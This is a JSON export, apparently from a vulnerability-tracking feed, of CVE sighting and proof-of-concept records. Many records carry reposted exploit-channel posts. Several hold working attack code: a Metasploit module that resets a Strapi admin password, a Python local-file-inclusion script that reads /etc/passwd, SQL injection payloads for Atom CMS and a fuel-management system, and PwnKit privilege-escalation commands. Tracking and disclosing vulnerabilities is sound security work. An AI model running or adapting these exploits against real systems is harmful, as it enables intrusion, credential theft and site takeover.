researcher? Or a company that writes articles or write ups about Cyber Security, O[...]", "vulnerability": "CVE-2022-24663", "author": {"login": "automation"}}, {"uuid": "3ec7aece-1152-499f-bba0-b33ba16ab8ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:07.557490+00:00", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2018-17246", "author": {"login": "automation"}}, {"uuid": "a98049d2-e5da-4a47-8a94-a905891a0fe7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:07.548657+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/42319", "content": "Black Hat Ethical Hacking\nPHP Everywhere RCE flaws threaten thousands of WordPress sites\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png PHP Everywhere RCE flaws threaten thousands of WordPress sitesPost Views: 176 https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/BECOME-A-PATRON-AND-UNLOCK-EXCLUSIVE-VIDEOS-1.png Reading Time: 1 Minute\nResearchers found three critical remote code execution (RCE) vulnerabilities in the \u2018PHP Everywhere\u2019 plugin for WordPress, used by over 30,000 websites worldwide.\nPHP Everywhere is a plugin that allows WordPress admins to insert PHP code in pages, posts, the sidebar, or any Gutenberg block, and use it to display dynamic content based on evaluated PHP expressions. Three RCE flawsThe three vulnerabilities were discovered by security analysts at Wordfence\u00a0and can be exploited by contributors or subscribers, affecting all WordPress versions from 2.0.3 and below.\n\nHere\u2019s a short description of the flaws:\n\n* CVE-2022-24663\u00a0\u2013 Remote code execution flaw exploitable by any subscriber\u00a0 by allowing them to send a request with the \u2018shortcode\u2019 parameter set to PHP Everywhere, and execute arbitrary PHP code on the site. (CVSS v3 score: 9.9)\n* CVE-2022-24664\u00a0\u2013 RCE vulnerability exploitable by contributors via the plugin\u2019s metabox. An attacker would create a post, add a PHP code metabox, and then preview it. (CVSS v3 score: 9.9)\n* CVE-2022-24665\u00a0\u2013 RCE flaw exploitable by contributors who have the \u2018edit_posts\u2019 capability and can add PHP Everywhere Gutenberg blocks. Default security setting on vulnerable plugin versions isn\u2019t on \u2018admin-only\u2019 as it should be. (CVSS v3 score: 9.9)\n\nWhile the last two flaws aren\u2019t easily exploitable as they require contributor-level permissions, the first vulnerability is a lot more open to broader exploitation as it can be exploited by just being a subscriber on the site.\n\nFor example, a logged-in customer on a site is considered a \u2018subscriber,\u2019\u00a0so merely registering on the target platform would be enough to gain enough privileges for malicious PHP code execution.\n\nIn all cases, executing arbitrary code on a site can lead to a complete site takeover, which is the worst possible scenario in website security.\nSee Also: Complete Offensive Security and Ethical Hacking Course Fix only for Block editorWordfence\u2019s team discovered the vulnerabilities on January 4, 2022, and informed the author of PHP Everywhere of its findings.\n\nThe vendor released a security update on January 10, 2022, with version 3.0.0, which took a major version number bump because it required a substantial code rewrite.\n\nWhile the developers fixed the update last month, it is not uncommon for admins to not regularly update their WordPress site and plugins. According to the download stats\u00a0on WordPress.org, only 15,000 installs out of 30,000 have updated the plugin since the bugs were fixed.\nSee Also: Windows vulnerability with new public exploits lets you become admin Therefore, due to the severity of these vulnerabilities, all users of PHP Everywhere are strongly advised to make sure they have upgraded to PHP Everywhere version 3.0.0, which is the latest available at this time.\n\nNote that if you\u2019re using the Classic Editor on your site, you will need to uninstall the plugin and find another solution for hosting custom PHP code on its components.\n\nThat is because version 3.0.0 only supports PHP snippets via the Block editor, and it\u2019s unlikely that the author will work on restoring functionality for the sun-setting Classic.\nSee Also: Offensive Security Tool: Stratus Red Team\nAre u a security researcher? Or a company that writes articles or write ups about Cyber Security, O[...]", "vulnerability": "CVE-2022-24664", "author": {"login": "automation"}}, {"uuid": "de3ffe09-8fc5-4c61-8116-e3ca055815a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:07.501226+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/42319", "content": "Black Hat Ethical Hacking\nPHP Everywhere RCE flaws threaten thousands of WordPress sites\n\nhttps://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/Untitled-design-2-1.png PHP Everywhere RCE flaws threaten thousands of WordPress sitesPost Views: 176 https://www.blackhatethicalhacking.com/wp-content/uploads/2021/08/BECOME-A-PATRON-AND-UNLOCK-EXCLUSIVE-VIDEOS-1.png Reading Time: 1 Minute\nResearchers found three critical remote code execution (RCE) vulnerabilities in the \u2018PHP Everywhere\u2019 plugin for WordPress, used by over 30,000 websites worldwide.\nPHP Everywhere is a plugin that allows WordPress admins to insert PHP code in pages, posts, the sidebar, or any Gutenberg block, and use it to display dynamic content based on evaluated PHP expressions. Three RCE flawsThe three vulnerabilities were discovered by security analysts at Wordfence\u00a0and can be exploited by contributors or subscribers, affecting all WordPress versions from 2.0.3 and below.\n\nHere\u2019s a short description of the flaws:\n\n* CVE-2022-24663\u00a0\u2013 Remote code execution flaw exploitable by any subscriber\u00a0 by allowing them to send a request with the \u2018shortcode\u2019 parameter set to PHP Everywhere, and execute arbitrary PHP code on the site. (CVSS v3 score: 9.9)\n* CVE-2022-24664\u00a0\u2013 RCE vulnerability exploitable by contributors via the plugin\u2019s metabox. An attacker would create a post, add a PHP code metabox, and then preview it. (CVSS v3 score: 9.9)\n* CVE-2022-24665\u00a0\u2013 RCE flaw exploitable by contributors who have the \u2018edit_posts\u2019 capability and can add PHP Everywhere Gutenberg blocks. Default security setting on vulnerable plugin versions isn\u2019t on \u2018admin-only\u2019 as it should be. (CVSS v3 score: 9.9)\n\nWhile the last two flaws aren\u2019t easily exploitable as they require contributor-level permissions, the first vulnerability is a lot more open to broader exploitation as it can be exploited by just being a subscriber on the site.\n\nFor example, a logged-in customer on a site is considered a \u2018subscriber,\u2019\u00a0so merely registering on the target platform would be enough to gain enough privileges for malicious PHP code execution.\n\nIn all cases, executing arbitrary code on a site can lead to a complete site takeover, which is the worst possible scenario in website security.\nSee Also: Complete Offensive Security and Ethical Hacking Course Fix only for Block editorWordfence\u2019s team discovered the vulnerabilities on January 4, 2022, and informed the author of PHP Everywhere of its findings.\n\nThe vendor released a security update on January 10, 2022, with version 3.0.0, which took a major version number bump because it required a substantial code rewrite.\n\nWhile the developers fixed the update last month, it is not uncommon for admins to not regularly update their WordPress site and plugins. According to the download stats\u00a0on WordPress.org, only 15,000 installs out of 30,000 have updated the plugin since the bugs were fixed.\nSee Also: Windows vulnerability with new public exploits lets you become admin Therefore, due to the severity of these vulnerabilities, all users of PHP Everywhere are strongly advised to make sure they have upgraded to PHP Everywhere version 3.0.0, which is the latest available at this time.\n\nNote that if you\u2019re using the Classic Editor on your site, you will need to uninstall the plugin and find another solution for hosting custom PHP code on its components.\n\nThat is because version 3.0.0 only supports PHP snippets via the Block editor, and it\u2019s unlikely that the author will work on restoring functionality for the sun-setting Classic.\nSee Also: Offensive Security Tool: Stratus Red Team\nAre u a security researcher? Or a company that writes articles or write ups about Cyber Security, O[...]", "vulnerability": "CVE-2022-24665", "author": {"login": "automation"}}, {"uuid": "a84fa2c0-5e82-4d2f-b854-c864296b02a8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:07.499334+00:00", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2022-0679", "author": {"login": "automation"}}, {"uuid": "cb4cfb2c-4788-4884-a963-e0b59d0da2dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:07.450811+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/42379", "content": "Exploit Collector\nTokheim Profleet DiaLOG Fuel Management System 11.005.02 SQL Injection / Code Execution\n\nhttps://2.bp.blogspot.com/-ByzpbsJwjwM/WWlvDah6qTI/AAAAAAAAIKw/aSK5mfOx92wd9uyx7MAye8LQyS91plczwCLcBGAs/s1600/h13.png \nTokheim Profleet DiaLOG Fuel Management System version 11.005.02 suffers from a remote SQL injection vulnerability that can allow for remote code execution.\n\nMD5 | 223db005326f0bf40278c50e39231349\n\nDownload\n# Exploit Title: Tokheim Profleet DiaLOG Fuel Management System 11.005.02 - SQLi (Unauthenticated)\n# Date: 02/9/2022\n# Exploit Author: golem445\n# Vendor Homepage: https://www.tsg-solutions.com\n# Tested on: Kali Linux\n# CVE: CVE-2021-34235\n# Description: Field__UserLogin parameter is vulnerable to crafted MySQL injection, resulting in remote code execution as root.\n\n==Steps to Reproduce==\n# Go to : http://dialog_host/login.php\n# Enter escaped MySQL query into the username field and submit, passwords doesn't matter. (Such as: ' /*!50000union*/ select 1,2,3,4,5,6,7,8,\u2019data://text/plain,\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2021-34235", "author": {"login": "automation"}}, {"uuid": "6ad0d94f-a25c-4b07-97c2-6dd4dcf62c8a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:07.439505+00:00", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2022-3801", "author": {"login": "automation"}}, {"uuid": "a3246213-7a89-42ff-8bfb-253382d49428", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:06.676135+00:00", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2022-0760", "author": {"login": "automation"}}, {"uuid": "b5dbeed4-6904-4c5d-b3ff-72f15ef545c8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:06.619428+00:00", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2023-4542", "author": {"login": "automation"}}, {"uuid": "dc49d93b-b8a6-4db2-863b-ffef8fc552a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:06.614729+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/42235", "content": "Exploit Collector\nAtom CMS 2.0 SQL Injection\n\nhttps://4.bp.blogspot.com/-Lnl-ZxRP9Iw/WWlvEVwqA2I/AAAAAAAAIK8/WG2BCM3S_lsUOouuCwhP5sp3j7hYzeO-wCLcBGAs/s1600/h133.png \nAtom CMS version 2.0 suffers from a remote SQL injection vulnerability.\n\nMD5 | da443d2658775c9482ec46f79fccada9\n\nDownload\n# Exploit Title: AtomCMS v2.0 - SQLi\n# Date: 08/02/2022\n# Exploit Author: Luca Cuzzolin aka czz78\n# Vendor Homepage: https://github.com/thedigicraft/Atom.CMS\n# Version: v2.0\n# Category: Webapps\n# Tested on: Debian linux\n# CVE : CVE-2022-24223\n====================================================\n\n# PoC : SQLi :\n\nhttp://127.0.0.1/Atom.CMS/admin/login.php\nPOST /Atom.CMS/admin/login.php HTTP/1.1\nHost: 127.0.0.1\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101\nFirefox/91.0\nAccept:\ntext/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\nAccept-Language: it,en-US;q=0.7,en;q=0.3\nAccept-Encoding: gzip, deflate\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 35\nOrigin: http://127.0.0.1\nConnection: keep-alive\nReferer: http://127.0.0.1/Atom.CMS/admin/login.php\nCookie: PHPSESSID=tqfebdu4kn9qj7g6qpa91j9859\nUpgrade-Insecure-Requests: 1\nSec-Fetch-Dest: document\nSec-Fetch-Mode: navigate\nSec-Fetch-Site: same-origin\nSec-Fetch-User: ?1\nemail=test%40test.com&password=1234\nVulnerable Payload :\n\nParameter: email (POST)\nType: time-based blind\nTitle: MySQL >= 5.0.12 AND time-based blind (query SLEEP)\nPayload: email=test@test.com' AND (SELECT 5613 FROM\n(SELECT(SLEEP(5)))JnLZ) AND 'pROE'='pROE&password=1234\nVector: AND (SELECT [RANDNUM] FROM\n(SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])\n\nType: UNION query\nTitle: Generic UNION query (NULL) - 6 columns\nPayload: email=test@test.com' UNION ALL SELECT\nNULL,CONCAT(0x717a767a71,0x65557a784e446152424b63724b5a737062464a4267746c70794d5976484c484a5365634158734975,0x71627a7871),NULL,NULL,NULL,NULL--\n-&password=1234\nVector:  UNION ALL SELECT NULL,[QUERY],NULL,NULL,NULL,NULL-- -\n---\n====================================================\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2022-24223", "author": {"login": "automation"}}, {"uuid": "8b5ed6e6-890e-4519-a35d-a8750ef73be9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:06.567658+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/42240", "content": "hacking: security in practice\nCVE-2019-15947 Bitcoin Core Crash Dumps Contain Wallets Whitepaper\n\nhttps://external-preview.redd.it/Ya0yiPg-RmCPJG_3gsQkJ2pPrusY0F2AlNX9DxifvbY.jpg?width=216&crop=smart&auto=webp&s=6772d9f917bd584c804736c881055e3bc7c976fb submitted by /u/oxagast \n[link] [comments]\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2019-15947", "author": {"login": "automation"}}, {"uuid": "684c3edd-2c39-45e7-b254-cf868a0ea452", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:06.560345+00:00", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2021-43778", "author": {"login": "automation"}}, {"uuid": "4fb1f7c7-91b4-419e-b91d-0b0551f522c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:06.511533+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/42048", "content": "Exploit Collector\nStrapi CMS 3.0.0-beta.17.4 Privilege Escalation\n\nhttps://4.bp.blogspot.com/-dXEgdVI0XVY/WWlvXX6BPpI/AAAAAAAAIOU/sj4iy4kTRsMzyN3cFQhci5D2DaW9DOMPwCLcBGAs/s1600/h52.png \nThis Metasploit module exploits the mishandling of a password reset in JSON for Strapi CMS version 3.0.0-beta.17.4 to change the password of a privileged user.\n\nMD5 | 8ecdde32e335de56a08cade93bba6146\n\nDownload\n##\n# This module requires Metasploit: http://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nrequire 'msf/core'\n\nclass MetasploitModule < Msf::Auxiliary\nRank = NormalRanking\n\ninclude Msf::Exploit::Remote::HttpClient\n\ndef initialize(info={})\nsuper(update_info(info,\n\n'Name'           => \"Strapi CMS 3.0.0-beta.17.4 - Set Password (Unauthenticated) (Metasploit)\",\n'Description'    => %q{\nThis exploit module abuses the mishandling of password reset in JSON for Strapi CMS version 3.0.0-beta.17.4 to change the password of a privileged user.\n},\n'License'        => MSF_LICENSE,\n'Author'         => [ 'WackyH4cker' ],\n'References'     =>\n[\n[ 'URL', 'https://vulners.com/cve/CVE-2019-18818' ]\n],\n'Platform'       => 'linux',\n'Targets'        => [\n[ 'Strapi 3.0.0-beta-17.4', {} ]\n],\n'Payload'        => '',\n'Privileged'     => true,\n'DisclosureDate' => \"\",\n'DefaultOptions' => \n{\n'SSL' => 'False',\n'RPORT' => 80,\n},\n'DefaultTarget'  => 0\n\n))\n\nregister_options [\nOptString.new('NEW_PASSWORD', [true, 'New password for user Admin'])\n]\nend\n\ndef check\n\nres = send_request_raw({ 'uri' => '/admin/init' })\nversion = JSON.parse(res.body) \n\nif version[\"data\"][\"strapiVersion\"] == '3.0.0-beta.17.4'\nreturn Exploit::CheckCode::Vulnerable\nelse\nreturn Exploit::CheckCode::Safe\nend\n\nend\n\ndef run\n\njson_body = { 'code' => {'$gt' => 0},\n'password' => datastore['NEW_PASSWORD'],\n'passwordConfirmation' => datastore['NEW_PASSWORD'] }\n\nres = send_request_cgi({\n'method' => 'POST',\n'uri' => '/admin/auth/reset-password',\n'ctype' => 'application/json',\n'data' => JSON.generate(json_body)\n})\n\nprint_status(\"Changing password...\")\njson_format = JSON.parse(res.body)\njwt = json_format['jwt']\n\nif res.code == 200\nprint_good(\"Password changed successfully!\")\nprint_good(\"USER: admin\")\nprint_good(\"PASSWORD: #{datastore['NEW_PASSWORD']}\")\nprint_good(\"JWT: #{jwt}\")\nelse\nfail_with(Failure::NoAccess\"Could not change admin user password\")\nend\nend\n\nend\n\n\nSource:packetstormsecurity.com", "vulnerability": "CVE-2019-18818", "author": {"login": "automation"}}, {"uuid": "b9e13280-5d44-41d0-afa8-8676e5783aa1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:06.502324+00:00", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2020-10148", "author": {"login": "automation"}}, {"uuid": "c97f9cb6-5c6c-441a-b66f-0a07ae76148e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:06.453244+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/42050", "content": "Exploit Collector\nWordPress Security Audit 1.0.0 Cross Site Scripting\n\nhttps://1.bp.blogspot.com/-ZbrkU7MDvJM/WWlvS7x--YI/AAAAAAAAINk/cO6KWZj5UFE3dAHctfHPCIXMYdjzVDfigCLcBGAs/s1600/h40.png \nWordPress Security Audit plugin version 1.0.0 suffers from a persistent cross site scripting vulnerability.\n\nMD5 | 0447c49cb1da4d97eb0c5a3c4376be33\n\nDownload\n# Exploit Title: WordPress Plugin Security Audit 1.0.0 - Stored Cross Site Scripting (XSS)\n# Date: 2022-01-26\n# Exploit Author: Shweta Mahajan\n# Vendor Homepage: https://en-gb.wordpress.org/plugins/titan-labs-security-audit/\n# Software Link: https://en-gb.wordpress.org/plugins/titan-labs-security-audit/\n# Tested on Windows\n# CVE: CVE-2021-24901\n# Reference: \nhttps://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-24901\nhttps://wpscan.com/vulnerability/9c315404-b66a-448c-a3b7-367a37b53435\n\nHow to reproduce vulnerability:\n\n1. Install Latest WordPress\n\n2. Install and activate Titan-labs-security-audit Version 1.0.0\n\n3. Navigate to Security Audit settings >> enter the payload into 'Data Id'.\n\n4. Enter JavaScript payload which is mentioned below\n\">x \n\n5. You will observe that the payload successfully got stored into the\ndatabase and when you are triggering the same functionality at that\ntime JavaScript payload gets executed successfully and we'll get a\npop-up.\n\n\nSource:packetstormsecurity.com", "vulnerability": "CVE-2021-24901", "author": {"login": "automation"}}, {"uuid": "ca885464-dde5-4a39-a10d-07d1a5fc5a54", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:06.451637+00:00", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2023-4220", "author": {"login": "automation"}}, {"uuid": "295d8d48-7f9c-4b9b-b768-cf4f66e10fb3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:06.396466+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/41919", "content": "-IQtmRp5CEDRjOAWkQiDsltX4KbojtchvgTUzgl-nTuBIoBqcXE85Vunir8QYAq8GFLONQI9AkDzvjfMtE0FMmCubXnA0o79A=s16000 Attack vector: An attacker can create an environment variable and use this memory corruption technique to run his own executable named \u201cvalue.\u201d Hence, an attacker can use pre-existing environment variable privilege escalation methods to exploit this.DemonstrationA proof of concept for this vulnerability has been uploaded on github which can be found here. To run the attack, we simply need to clone the repository, make the executable and run it. The program will exploit this memory corruption weakness as explained above.cd /tmp\nmake\n./cve-2021-4034\nwhoami\ncat /etc/passwdhttps://blogger.googleusercontent.com/img/a/AVvXsEjWQ7pM_Bqk5j2m3mkyLI1KKRdXiFPtQc7Hh42-G6wwxYtDHFHZSDwdi6KFtP62KDNZFn7BLGdwhwQRfObiMwYjEPrFjm_hX3d69SjHy1mcT1BmpAs4Yh6-yh5A05cTwxJSGSQU2LsYHApdtMpinLYwlBQUlaxj9DAaSO5CO0fc71W1kOT4QlKV6cH-qQ=s16000 And just with two commands, we have exploited pkexec\u2019s vulnerability and escalated ourselves to root!Mitigation\u00b7 The vulnerability has already been patched by respective vendors. In Ubuntu 20.04 policykit-1 - 0.105-26ubuntu1.2 version mitigates this weakness.ConclusionAll of the unupdated older versions of Debian flavours and Red hat flavours are susceptible to this attack making it a severe risk for an organization. The ease of exploitation of this attack makes it even more dangerous. It is highly recommended that sys admins update their installed polkit packages today. Thanks for reading.___________________________ \n@hacking_Attack\n@Hacking_Video", "vulnerability": "CVE-2021-4034", "author": {"login": "automation"}}, {"uuid": "086557d9-4ab6-4e6c-a30a-b421b53a9e54", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:06.358347+00:00", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2016-10108", "author": {"login": "automation"}}, {"uuid": "1b4bca03-2a01-4bb0-810b-96665bd2e23e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:06.346055+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/42042", "content": "vjfMtE0FMmCubXnA0o79A=s16000 \n\nAttack vector: An attacker can create an environment variable and use this memory corruption technique to run his own executable named \u201cvalue.\u201d Hence, an attacker can use pre-existing environment variable privilege escalation methods to exploit this. DemonstrationA proof of concept for this vulnerability has been uploaded on github which can be found here. To run the attack, we simply need to clone the repository, make the executable and run it. The program will exploit this memory corruption weakness as explained above.\ncd /tmp\ngit clone https://github.com/berdav/CVE-2021-4034 pwnkit\nmake\n./cve-2021-4034\nwhoami\ncat /etc/passwd \nhttps://blogger.googleusercontent.com/img/a/AVvXsEjWQ7pM_Bqk5j2m3mkyLI1KKRdXiFPtQc7Hh42-G6wwxYtDHFHZSDwdi6KFtP62KDNZFn7BLGdwhwQRfObiMwYjEPrFjm_hX3d69SjHy1mcT1BmpAs4Yh6-yh5A05cTwxJSGSQU2LsYHApdtMpinLYwlBQUlaxj9DAaSO5CO0fc71W1kOT4QlKV6cH-qQ=s16000 \n\nAnd just with two commands, we have exploited pkexec\u2019s vulnerability and escalated ourselves to root! Mitigation* The vulnerability has already been patched by respective vendors. In Ubuntu 20.04 policykit-1 \u2013 0.105-26ubuntu1.2 version mitigates this weakness.\n* If no patches are available for your operating system, you can remove the SUID-bit from pkexec as temporary mitigation.\nchmod 07555 /usr/bin/pkexec ConclusionAll of the unupdated older versions of Debian flavours and Red hat flavours are susceptible to this attack making it a severe risk for an organization. The ease of exploitation of this attack makes it even more dangerous. It is highly recommended that sysadmins update their installed polkit packages today. Thanks for reading.\n\nAuthor: Harshit Rajpal is an InfoSec researcher and left and right brain thinker. Contact here\n\nThe post Linux Privilege Escalation: PwnKit (CVE 2021-4034) appeared first on Hacking Articles.", "vulnerability": "CVE-2021-4034", "author": {"login": "automation"}}, {"uuid": "b8d676b9-1709-4d55-b940-114ff2b1760e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:06.280827+00:00", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/42047", "content": "Exploit Collector\nWordPress Simple Job Board 2.9.3 Local File Inclusion\n\nhttps://2.bp.blogspot.com/-n3YJZo98ptc/WWlvfHNo4ZI/AAAAAAAAIP8/W2JyxBpYTHMTjkJx5zl91eYOlgUDpw8egCLcBGAs/s1600/h84.png \nWordPress Simple Job Board plugin version 2.9.3 suffers from a local file inclusion vulnerability.\n\nMD5 | e059abbfdfefc909ce027e4265e3e84b\n\nDownload\n# Exploit Title: Wordpress Plugin Simple Job Board 2.9.3 - Local File Inclusion\n# Date: 2022-02-06\n# Exploit Author: Ven3xy\n# Vendor Homepage: https://wordpress.org/plugins/simple-job-board/\n# Software Link: https://downloads.wordpress.org/plugin/simple-job-board.2.9.3.zip\n# Version: 2.9.3\n# Tested on: Ubuntu 20.04 LTS\n# CVE : CVE-2020-35749\nimport requests\nimport sys\nimport time\n\nclass color:\nHEADER = '\\033[95m'\nIMPORTANT = '\\33[35m'\nNOTICE = '\\033[33m'\nOKBLUE = '\\033[94m'\nOKGREEN = '\\033[92m'\nWARNING = '\\033[93m'\nRED = '\\033[91m'\nEND = '\\033[0m'\nUNDERLINE = '\\033[4m'\nLOGGING = '\\33[34m'\ncolor_random=[color.HEADER,color.IMPORTANT,color.NOTICE,color.OKBLUE,color.OKGREEN,color.WARNING,color.RED,color.END,color.UNDERLINE,color.LOGGING] \ndef banner():\nrun = color_random[6]+'''\\nY88b         /                888~~                     888          ,e,   d8 \nY88b       /  888-~88e       888___ Y88b  /  888-~88e  888  e88~-_   \"  _d88__ \nY88b  e  /   888  888b ____ 888     Y88b/   888  888b 888 d888   i 888  888 \nY88bd8b/    888  8888      888      Y88b   888  8888 888 8888   | 888  888 \nY88Y8Y     888  888P      888      /Y88b  888  888P 888 Y888   ' 888  888 \nY  Y      888-_88\"       888___  /  Y88b 888-_88\"  888  \"88_-~  888  \"88_/ \n888                                888                              \\n'''\nrun2 = color_random[2]+'''\\t\\t\\t(CVE-2020-35749)\\n''' \nrun3 = color_random[4]+'''\\t{ Coded By: Ven3xy  | Github: https://github.com/M4xSec/ }\\n\\n'''\nprint(run+run2+run3) \nif (len(sys.argv) != 5):\nbanner()\nprint(\"[!] Usage   : ./wp-exploit.py <target_url<file_path<user<pass\")\nprint(\"[~] Example : ./wp-exploit.py http://target.com:8080/wordpress/ /etc/passwd admin admin\")\nexit()\n\nelse:\nbanner()\nfetch_path = sys.argv[2]\nprint (color_random[5]+\"[+] Trying to fetch the contents from \"+fetch_path)\ntime.sleep(3)\ntarget_url = sys.argv[1]\nusernamex = sys.argv[3]\npasswordx = sys.argv[4]\nprint(\"\\n\")\nlogin = target_url+\"wp-login.php\"\nwp_path = target_url+'wp-admin/post.php?post=application_id&action=edit&sjb_file='+fetch_path\nusername = usernamex\npassword = passwordx\n\nwith requests.Session() as s:\nheaders = { 'Cookie':'wordpress_test_cookie=WP Cookie check',\n'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.1.2 Safari/605.1.15' }\n\npost_data={ 'log':username, 'pwd':password, \n'wp-submit':'Log In','redirect_to':wp_path, \n'testcookie':'1'\n} \n\ns.post(login, headers=headers, data=post_data)\nresp = s.get(wp_path)\n\nout_file = open(\"output.txt\", \"w\")\nprint(resp.text, file=out_file)\nout_file.close()\nprint(color_random[4]+resp.text)\nout = color_random[5]+\"\\n[+] Output Saved as: output.txt\\n\"\nprint(out)\n\n\nSource:packetstormsecurity.com", "vulnerability": "CVE-2020-35749", "author": {"login": "automation"}}, {"uuid": "4489f963-b2e2-4def-8e84-13a061f0ead3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:06.262735+00:00", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2018-14918", "author": {"login": "automation"}}, {"uuid": "47b4d752-ab46-423d-a971-3ae7c20e78da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:06.209171+00:00", "type": "seen", "source": "https://t.me/hacking_Attack/41719", "content": "Pentest report and residual risk\nhttps://www.reddit.com/r/Pentesting/comments/sm0gmn/pentest_report_and_residual_risk/\n\nLog4j has a severity score of 10 out of 10. Let say this bug was found during pentest and classified as critical severity. https://nvd.nist.gov/vuln/detail/CVE-2021-44228 Residual risk is the risk that remains after efforts to identify and eliminate some or all types of risk have been made If customer can't fix this issue, but mitigated the risk by introducing WAF, and requested us to lower the risk from critical to something else (lower) in pentest report. Can we really do that? Seems like they don't like critical findings on pentest report and would like us to change it as they already have WAF to protect the app.  This is very good example of security through obscurity. What should you do in a case like this?    submitted by    /u/w0lfcat  (https://www.reddit.com/user/w0lfcat) \n [link] (https://www.reddit.com/r/Pentesting/comments/sm0gmn/pentest_report_and_residual_risk/)   [comments] (https://www.reddit.com/r/Pentesting/comments/sm0gmn/pentest_report_and_residual_risk/)", "vulnerability": "CVE-2021-44228", "author": {"login": "automation"}}, {"uuid": "5c9f14d6-fd0f-4e91-a2d4-00711f004122", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "creation_timestamp": "2026-09-06T10:00:06.199737+00:00", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-09-05)", "content": "", "vulnerability": "CVE-2023-5222", "author": {"login": "automation"}}, {"uuid": "371602cd-7d24-4481-b425-497181ba646f", "vulnerability_lookup_origin": 